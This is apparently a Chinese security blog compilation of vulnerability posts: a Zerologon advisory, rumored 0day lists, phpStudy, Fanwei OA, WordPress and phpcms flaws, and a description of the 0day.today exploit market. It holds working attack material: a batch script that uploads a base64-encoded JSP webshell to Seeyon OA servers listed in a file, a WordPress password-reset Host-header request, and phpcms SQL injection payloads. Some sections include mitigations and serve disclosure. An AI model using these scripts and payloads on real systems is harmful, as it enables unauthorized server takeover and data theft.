
警惕 QQ 图片中马导致的隐私泄露和网络诈骗
背景
今天白天和昨晚上很多人还在因为自己的 QQ 莫名其妙发送黄色图片或者网址到各个好友各个群而苦恼的时候,今天在 0day.today 站点上发现了关于 JPG图片包含 PE 文件可以在打开图片的时候直接执行此 PE 文件,我简称为 JPG RCE,此站点我在19年的时候有过介绍:[0day.today「一个0day漏洞交易...
CVE-2020-1472: NetLogon特权提升漏洞(接管域控制器)
0x01 更新概览
2020年09月14日,360CERT监测发现 secura
公开了针对该漏洞研究报告及PoC
,可造成 权限提升影响
。本次更新标识该漏洞的利用工具公开,并可能在短时间内出现攻击态势。
具体更新详情可参考: 漏洞验证
0x02 漏洞简述
2020年08月12日, 360CERT监测发现 Windows官方
发布了 NetLogon 特权提升漏洞
的风险通告,该漏洞编号为 CVE-2020-1472
,漏洞等级:严重
,漏洞评分:10分
。
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
对此,360CERT建议广大用户及时为各Windows Server操作系统安装最新相关补丁。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
0x03 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级 |
---|---|
威胁等级 | 严重 |
影响面 | 广泛 |
360CERT评分 | 10分 |
0x04 漏洞详情
NetLogon组件
是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
漏洞验证
使用 SecuraBV/zerologon_tester.py
进行验证;可以看到在 windows server 2012
结果如下图所示
python版本: 3.8.5 域控版本: windows server 2008 测试机版本: windows server 2012
0x05 影响版本
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
相关检测和利用工具地址:
https://github.com/SecuraBV/CVE-2020-1472
https://github.com/dirkjanm/CVE-2020-1472
HW截至目前已经确认的漏洞和预警的漏洞(0day)汇总
截至到目前已经确认的漏洞一览图:
1、绿盟UTS综合威胁探针管理员任意登录
2、用友GRP-u8 XXE注入
3、天融信TopApp-LB 负载均衡系统sql注入
4、深信服EDR远程命令执行
5、联软科技产品存在任意文件上传
6、联软科技产品存在命令执行漏洞
7、WPS命令执行漏洞
8、齐治堡垒机漏洞
9、phpcms v9前台REC(全版本),这个详情在我的GitHub,二十几天前就搜集到了。
漏洞预警,蓝队撑住,提前预警,做好预防0day冲击准备,不一定全部是真的,有这些产品的多注意,多加一道防护,比如开启basic二次验证等操作缓解预防!
预警事项:山石、绿盟、新华三、华为等多个安全产品存在漏洞
根据互联网情报,多款安全产品疑似存在零日或高危漏洞,涉及山石网科下一代防火墙、绿盟远程安全评估系统, 新华三技术有限公司H3CSecPathF10x 0防火墙、华为多款产品(交换机、入侵防御系统、防火墙等),政击者可能通过利用以上漏润造成重大安全影响。
预警时间:2020年09月12日
预警等级:八级
预警范围:
1.山石网科下一代防火墙SG-6000
2.绿盟远程安全评估系统
3.新华三技术有限公司H36SecPathF10x 0防火墙
4.华为多款设备存在越界读取漏洞(C NVD-2020-36735) :
华为无线接入点设备AP2000系列
华为交换机S5700系列
华为DDOS防御系统Seco space Anti DDoS 8000系列
华为下一代入侵防御系统NIP 5300系列、NIP 6600系列、NIP 6800系列
华为入侵防御系统(单板形态) IPS Module V 500系列
H3C、启明星辰、天融信、网御星云、深信服、网神等多个安全产品存在漏洞
预警事项:
根据互联网情报,多款安全产品疑似存在零日或高危漏洞,涉及北京启明星辰信息安全技术有限公司天清Web应用安全网关、天融信NG FW下一代防火墙、H3CACG 1000-M交换机、北京网御星云信息技术有限公司网御防火墙、深信服科技股份有限公司SSL VPN,网神信息技术(北京)股份有限公司网神安全审计系统,攻击者可能通过利用以上漏洞造成重大安全影响。
预警时间:2020年9月12日
预警等级:九级
预警范围:
1.北京启明星辰信息安全技术有限公司天清Web应用安全网关
2.天融信NGE W下一代防火墙
3.北京网御星云信息技术有限公司网御防火墙
4.深信服科技股份有限公司SSL VPN
5.网神信息技术(北京)股份有限公司 网神安全审计系统
6.H3CACG 1000-M交换机
祝大家HW顺利!少丢分!哈哈哈
泛微OA云桥任意文件读取漏洞
泛微0A的这个漏洞利用/wxjsapi/saveYZJFile接口获取filepath,返回数据包内出现了程序的绝对路径,攻击者可以通过返回内容识别程序运行路径从而下载数据库配置文件危害可见。
1、downloadUrl参数修改成需要获取文件的绝对路径,记录返回包中的id值。
2、通过查看文件接口访问 /file/fileNoLogin/id
可参考微步的情报:
HW情报之-多家安全厂商设备0day
接情报消息,深信服EDR(新)、奇治堡垒机、联软准入、天融信Top-app LB负载均衡及绿盟UTS等设备存在0day漏洞,请各企事业单位根据资产情况,梳理本单位存在以上设备的情况,加强监控,以避免遭受攻击
恶意红队IP:http://d.zaix.ru/ntbv.txt
【0day】phpStudy(小皮面板)最新版v8.1.0.7 nginx 解析漏洞
一、phpStudy(小皮面板)简介:
phpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。
二、漏洞简介:
自从2019年phpStudy爆出的后门事件已经过去一段时间了,期间也没有爆出过什么漏洞,并且现在phpStudy(小皮面板)已经改版了,这次爆出的漏洞是nginx的解析漏洞,也就是存在已久的/xx.php解析漏洞
漏洞原理:
1、由于错误配置(但是测试的时候是安装完后的默认配置,我在官方论坛也反馈了,他们还狡辩。。。)导致nginx把以.php结尾的文件交给fastcgi处理,为此可以构造http://www.xxx.com/test.gif/xx.php (任何服务器端不存在的php文件均可,比如a.php)
2、但是fastcgi在处理xx.php文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了/test.gif。
3、 最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将.png等文件当做代码解析。
localhost_80.conf原始配置:
location ~ \.php(.*)$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_split_path_info ^((?U).+\.php)(/?.+)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; include fastcgi_params; }
三、漏洞复现:
测试环境:phpStudy(小皮面板)8.1.0.7 + 图片马(一定要注意不是那种copy的马子 有几率失败,可以下载这个马子测试)
复现如图:
执行系统命令:
四、修复
php.ini 中 fix_pathinfo 禁用为0
cgi.fix_pathinfo=0
nginx.conf添加如下代码
location ~ \.php(.*)$ { if ( $fastcgi_script_name ~ \..*\/.*php ){ return 403; } fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_split_path_info ^((?U).+\.php)(/?.+)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; include fastcgi_params; }
请各位师傅下手轻点!注意保重!哈哈哈!
【0day】宝塔面板phpmyadmin未授权访问(实际上是个逻辑错误)漏洞
宝塔刚刚发布紧急更新:
【紧急更新】宝塔Linux面板 - 8月23日更新 - 7.4.3正式版
seeyon_rce致远getshell 0day poc批量检测脚本——致远 OA A8 Getshell 漏洞
本文主要是对于昨日大概晚间八点左右在网上出现的关于致远 OA A8 协同管理软件被曝存在远程代码执行漏洞0day,且目前已有漏洞被在野利用,在中、大型政府企业中都广泛使用。文末给出致远getshell 0day poc批量检测脚本(python版本)
已验证影响版本:
A8 V7.0 SP3
A8 V6.1 SP2
(V6.1 SP1 验证尚不存在,其他版本未验证)
漏洞成因:
致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell。同时该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露,安全过滤处理措施不足,使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的网站后门文件,从而获取目标服务器权限,在目标服务器上执行任意代码。
影响范围:
通过知道创宇旗下ZoomEye网络空间搜索引擎搜索结果,全球共有29,425个致远OA系统开放记录,中国为29,247个大部分分布在北京、广东、四川等省。
目前利用代码已在野外公开,漏洞验证效果如下,成功getshell样例截图:
缓解措施:
漏洞位置为:/seeyon/htmlofficeservlet,可以对该地址配置ACL规则。
或者联系官方获取补丁程序,官网地址:http://www.seeyon.com/Info/constant.html
临时修补方案如下:
1、 配置URL访问控制策略;
2、在公网部署的致远A8+服务器,通过ACL禁止外网对“/seeyon/htmlofficeservlet”路径的访问;
3、 对OA服务器上的网站后门文件进行及时查杀。
附上验证POC,致远getshell 0day poc批量检测脚本如下:
使用方法:
批量检测url
在脚本同目录下建立url.txt
放入待检测的URL运行脚本
分别为python2和python3版本:
# Wednesday, 26 June 2019 # Author:nianhua # Blog:https://github.com/nian-hua/ # python2 版本 import re import requests import base64 from multiprocessing import Pool, Manager def send_payload(url): headers = {'Content-Type': 'application/x-www-form-urlencoded'} payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U=" payload = base64.b64decode(payload) try: r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload) r = requests.get( url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming') if "wangming" in r.text: return url else: return 0 except: return 0 def remove_control_chars(s): control_chars = ''.join(map(unichr, range(0,32) + range(127,160))) control_char_re = re.compile('[%s]' % re.escape(control_chars)) s = control_char_re.sub('', s) if 'http' not in s: s = 'http://' + s return s def savePeopleInformation(url, queue): newurl = send_payload(url) if newurl != 0: fw = open('loophole.txt', 'a') fw.write(newurl + '\n') fw.close() queue.put(url) def main(): pool = Pool(10) queue = Manager().Queue() fr = open('url.txt', 'r') lines = fr.readlines() for i in lines: url = remove_control_chars(i) pool.apply_async(savePeopleInformation, args=(url, queue,)) allnum = len(lines) num = 0 while True: print queue.get() num += 1 if num >= allnum: fr.close() break if "__main__" == __name__: main()
# Wednesday, 26 June 2019 # Author:nianhua # Blog:https://github.com/nian-hua/ # python3 版本 import re import requests import base64 from multiprocessing import Pool, Manager def send_payload(url): headers = {'Content-Type': 'application/x-www-form-urlencoded'} payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U=" payload = base64.b64decode(payload) try: r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload) r = requests.get( url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming') if "wangming" in r.text: return url else: return 0 except: return 0 def remove_control_chars(s): control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160)))) control_char_re = re.compile('[%s]' % re.escape(control_chars)) s = control_char_re.sub('', s) if 'http' not in s: s = 'http://' + s return s def savePeopleInformation(url, queue): newurl = send_payload(url) if newurl != 0: fw = open('loophole.txt', 'a') fw.write(newurl + '\n') fw.close() queue.put(url) def main(): pool = Pool(10) queue = Manager().Queue() fr = open('url.txt', 'r') lines = fr.readlines() for i in lines: url = remove_control_chars(i) pool.apply_async(savePeopleInformation, args=(url, queue,)) allnum = len(lines) num = 0 while True: print(queue.get()) num += 1 if num >= allnum: fr.close() break if "__main__" == __name__: main()
0day.today「一个0day漏洞交易市场」
在pastebin上看到的,想要买卖0day的可以进去看看,不想做买卖的也可以进去瞧瞧,原文如下:
be careful: if http://0day.today redirecting to pastebin page - your ip block. Download TOR Browser and use TOR mirror http://mvfjfugdwgc5uwho.onion
意思就是说如果你直接浏览器打开 http://0day.today 跳转回 pastebin.com 说明你的IP被封了,换TOR浏览器打开他们在暗网上的网站地址:http://mvfjfugdwgc5uwho.onion .
打开界面如上图所示,你可以选择你的语言,包括:英语、俄语、德语、捷克语(土耳其)、法语、意大利语、希腊语、西班牙语、罗马尼亚文、波兰语、阿拉伯语(沙拉阿拉伯)、日文、中文等语种可供选择,但是建议不选择,默认英文即可。至于为什么不建议选择,当然是为了那可怜的隐私。
要进入网站需要同意网站的声明:网站收集的EXP和各种漏洞仅作为安全研究人员用途,我们只是收集并不负责,你需要自行承担所有的责任。(锅摔干净了!)
下面的用户协议、法律信息、声明等等就不一一翻译了,我想大部分人从不看网站的这些协议吧,简单的粘贴一下Google机翻的:
用户协议 任何访问该网站0day.today的人必须接受条款和条件(如下所列),或者立即离开0day.today。 如果您不同意0day.today的规则,您必须立即离开0day.today。 0day.today团队很高兴邀请您参与我们的项目 - 您需要做的就是注册开始! 一般信息 关于0day.today及其团队的官方信息仅在0day.today网站上发布。 不要依赖别人说的负面批评/谣言 - 这是一个误区!我们不会破坏任何网站,也不会攻击任何网络服务器。 0day.today团队专门研究bug研究,而不是恶意行为。 0day.today在没有任何保证的情况下发布,仅用于教育目的。 0day.today及其团队不负责非法使用所提供的信息。 0day.today是您的新数字朋友,他将帮助您避免网站上的许多安全问题! 司法,法律,程序员和源代码 我们特别注意遵守所有必要的欧洲法律,但我们行使权利以安全的方式交换信息。 所有提交的漏洞都将转发给产品制造商,并将发布以保护您的本地环境。 如果提交包含恶意代码,非法注释和/或敏感详细信息,则将删除或修改提交。 0day.today 1337day使命宣言 0day.today 1337day Mission将提供标准和技术数据库,以保护您的信息系统免受可能的威胁。 某些威胁可能针对您的信息/流程的机密性或完整性以及您的信息和服务的可用性。 在0day.today 1337day,我们会在发现新的安全漏洞时尽快通知您,以便您采取适当的措施来修补/修复它们。 0day.today 1337day团队的正式声明 我们不批准或鼓励任何人取消任何供应商许可,破坏网站,侵入数据库和/或使用欺诈或被盗材料进行交易。 我们不公布反对某些宗教,支持恐怖主义/种族主义或任何负面性质的咨询/漏洞。 我们不允许会员在我们的数据库或电子邮件中进行任何犯罪活动或请求。此类示例将立即删除,不做任何评论。 0day.today 1337day按“原样”向您提供信息,对您造成的任何损害不承担任何责任。 Inj3ct0r包含在某些国家/地区可能被视为非法的信息。 此类信息仅供教育之用,不得用于非法活动。 // 0day.today 1337day行政
当你同意这些协议后,点击 Yes, I agree 就进入网站了。进入网站后可以注册搜索等等,网站支持BT币作为交易货币,网站同时提供收费的和免费的漏洞,漏洞EXP类型包括(local, remote, DoS, PoC, 等) ,目前漏洞库共收录32442个漏洞,包括0day,各种语言的,平台,比如Java、php(包括国内的74CMS,国外wordpress等)、Android、Windows、Linux软件还包括像Sony电视等硬件的漏洞,你也可以通过搜索来搜索你感兴趣的漏洞或者是根据分类来筛选。而且漏洞都比较新,下面列举首页的一部分漏洞:
Twitter reset account Private Method 0day Exploit, Instagram bypass Access Account Private Method Exploit、 SMF 2.1 Beta 2 Remote Code Execution 0day Exploit、 SMF 2.0.x Remote Code Execution 0day Exploit、 Snapchat takeover any account 0day Exploit、 Tebilisim Remote File Read Vulnerability、 Mod_Security <= 3.0 Bypass XSS Payload Vulnerability、 facebook - Grabbing permanent access token which Never expires of your accounts and pages .、 Google Chrome 72.0.3626.121 / 74.0.3725.0 - NewFixedDoubleArray Integer Overflow Exploit、 Atlassian Confluence Widget Connector Macro Velocity Template Injection Exploit、 ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution Exploit、 MailCarrier 2.51 - POP3 (RETR) SEH Buffer Overflow Exploit、 Lavavo CD Ripper 4.20 Local SEH Exploit、 VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation Exploit、 RARLAB WinRAR ACE Format Input Validation Remote Code Execution Exploit、Sony Smart TV Information Disclosure / File Read Vulnerabilities、 Ross Video DashBoard 8.5.1 - Insecure Permissions Vulnerability、 LibreOffice 6.0.7 / 6.1.3 - Macro Code Execution Exploit、 Apache Pluto 3.0.0 / 3.0.1 - Persistent Cross-Site Scripting Vulnerability、 osTicket 1.11 - Cross-Site Scripting / Local File Inclusion VulnerabilitiesUliCMS 2019.2 / 2019.1 - Multiple Cross-Site Scripting Exploit、 74CMS 5.0.1 - Cross-Site Request Forgery (Add New Admin User) Exploit、 WordPress Contact Form Builder 1.0.67 Plugin - CSRF / Local File Inclusion Exploit、 Backup Key Recovery 2.2.4 - Denial of Service Exploit、 HeidiSQL 10.1.0.5464 - Denial of Service Exploit、 Linux - (page->_refcount) Overflow via FUSE Exploit、 Linux/x86 - Rabbit Shellcode Crypter (200 bytes)、 Linux/x86 - Cat File Encode to base64 and post via curl to Webserver Shellcode (125 bytes)、 Linux/x86 - add user to passwd file Shellcode (149 bytes)、 Linux/x86 - XOR Encoder / Decoder execve(/bin/sh) Shellcode (45 bytes)
#阿里云0day#网传 疑似 发现阿里云0day,可以重置任意服务器root密码
大概,今晚六七点多得时候,知名公众号---红队攻防揭秘,发文称:“预警” 阿里云 疑似存在未知0day 可重置任意服务器root密码,
但是,在发文不到一小时,就被删除了(不只是阿里云得公关还是作者自己删除的),然后就是安全全朋友圈,twitter等刷屏了。
阿里云这事。最先的消息源来自X秘圈,如图。随后被某公众号发布,该X秘圈涨价。
目前该公众号所发布的消息已经删除,且该公众号已经搜索不到。
网上流传和刷屏的信息都只有这张图,没有任何更多细节,假消息可能性偏大。
暂等待是否有进一步细节。
意思信息来自 https://twitter.com/APTp0 ,经Mrxn筛选整理。(如有不实之处,还请指正)
0day来袭WordPress Core <= 4.7.4全版本密码重置漏洞
这两天的wordpress总是不平静....今天刚刚爆出0day....
漏洞概述
漏洞编号:CVE-2017-8295
漏洞发现者:dawid_golunski
漏洞危害:中/高
影响版本:WordPress Core <= 4.7.4
漏洞描述:Wordpress的密码重置功能,其中存在漏洞在某些情况下可能允许攻击者在未经身份验证的情况下获取密码重置链接。这种攻击可导致攻击者获得未经授权的WordPress帐户访问权限。该漏洞的触发条件比较苛刻。
漏洞细节
默认情况下,该漏洞由于WordPress使用不受信任的数据。当进行密码重置时,系统会发送相关密码重置链接到所有者帐户相关联的电子邮件。
这可以在创建From的代码片段中观察到
调用PHP mail()函数前的电子邮件头:
------[ wp-includes/pluggable.php ]------ ... if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = '[email protected]' . $sitename; } ...
我们可以看到,Wordpress正在使用SERVER_NAME变量来获取主机名,该服务器为了创建一个From / Return-Path 地址,包含重置密码的相关信息的电子邮件。但是,Web服务器(如Apache)使用客户端提供的主机名默认设置SERVER_NAME变量
(在HTTP_HOST 头内):
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
因为SERVER_NAME可以修改,攻击者可以将其设置为任意他选择的域。例如:
attackers-mxserver.com
这将导致Wordpress将$ from_email设置为
并因此导致发送电子邮件与From / Return-Path设置为此恶意地址。
至于攻击者能够修改哪个电子邮件头 - From / Return-Path,这取决于服务器环境。更多可以阅读
http://php.net/manual/en/function.mail.php
From头在Windows下还设置了Return-Path。
根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件头中设置的恶意的From / Return-Path地址。
这可能允许攻击者拦截包含该邮件的邮件,密码重置链接在某些情况下需要用户交互以及没有用户互动。
一些示例场景:
如果攻击者知道受害者用户的电子邮件地址。他们可以执行先前的操作DoS攻击受害者的电子邮件帐户(例如发送多个邮件)大文件超过用户的磁盘配额或攻击DNS服务器)
导致密码重置邮件被接收服务器拒绝到达目的地,从而在攻击者的服务器上接收邮件。
一些自动回复者可能附上发送到该机构的电子邮箱的副本
自动回复的消息
发送多个密码重置电子邮件强制用户回复
消息查询说明无限密码重置电子邮件。
包含密码链接的回复将被发送给攻击者。
等等
概念证明
如果攻击者将类似于下面的请求发送到默认的Wordpress
-----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------
Wordpress将触发管理员用户帐户的密码重置功能。
由于修改了HOST 头,SERVER_NAME将被设置为攻击者设置的主机名。因此,Wordpress会将以下标题和电子邮件正文传递给/ usr / bin / sendmail:
------[ resulting e-mail ]----- Subject: [CompanyX WP] Password Reset Return-Path: <[email protected]> From: WordPress <[email protected]> Message-ID: <[email protected]> X-Priority: 3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit
假如有人要求为以下帐户重设密码:
http://companyX-wp/wp/wordpress/
Username: admin
要重置密码,请访问以下地址:如果这是一个误会,只要忽略这封电子邮件,什么都不会发生。
< http://companyX-wp/wp/wordpress/wp-login.php?action = rp&key = AceiMFmkMR4fsmwxIZtZ&login = admin>
我们可以看到,Return-Path/From和Message-ID的字段都有攻击者设置的域。
可以使用一个bash脚本替换/ usr / sbin / sendmail来执行头文件的验证
bash脚本:
#!/bin/bash
cat > /tmp/outgoing-email
解决方案
目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName强制执行静态SERVER_NAME值
https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
这个问题首先向WordPress安全团队多次报道,第一份报告于2016年7月发送。
由于这种情况没有进展,没有官方补丁,开始向公众发布。
参考
https://w3techs.com/technologies/details/cm-wordpress/all/all
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
phpcms_v9.6.0_sql注入与exp
phpcms_v9.6.0_sql注入分析
可疑的函数
localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/
2.过滤函数剖析和绕过
localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/
3.src变量到底去哪了
/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/
down.php的decode成全了我
/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/
phpcms_v9.6.0_sql注入还原
1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份
2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload
